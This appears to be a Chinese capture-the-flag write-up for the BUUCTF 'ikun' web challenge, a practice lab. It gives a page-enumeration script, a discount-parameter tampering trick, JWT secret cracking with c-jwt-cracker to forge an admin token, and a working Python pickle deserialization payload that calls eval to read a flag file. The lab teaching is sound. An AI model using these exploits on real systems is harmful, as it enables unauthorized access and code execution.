buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

打开题目是一个kunkun和一句买到lv6的话
buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun_第1张图片
先注册一个登录栞栞,没有东西,应该就是要买lv6了
buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun_第2张图片
点击下一页url加上了?page=2
一开始循环里是url=url+str(i)然后就一直报500code,给自己一拳
lv6每页都有所以要加.png
结果是page=181

import requests
url="http://93b9fe83-ed26-4bbe-b6af-b0fd164e9ab5.node4.buuoj.cn:81/shop?page="

for i in range(0,1000):
     res=requests.get(url+str(i))
     if ('lv6.png' in res.text):
          print('find:'+str(i))
          break

还是那么臭(
buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun_第3张图片
没有钱,但是抓包看见discount,直接0.000000000001打骨折
buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun_第4张图片
此时的url变成/b1g_m4mber
抓包看见JWT JWT页面
在这里插入图片描述username改成admin 还有个256-bit-secret
大佬的jwt-cracker

$ git clone https://github.com/brendan-rius/c-jwt-cracker
$ cd c-jwt-cracker/
$ make
$ ./jwtcrack XXX

跑得secret为’1Kun’
buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun_第5张图片session里设置jwt后伪造成功
buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun_第6张图片
点击没反应,源码里有文件
在这里插入图片描述在 sshop/views/Admin.py 有个反序列化点。
buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun_第7张图片
这里是Pickle反序列化
pickle还没学,扔一个大佬的脚本在这里

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

POST上传become的amin改成c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
就有flag了

你可能感兴趣的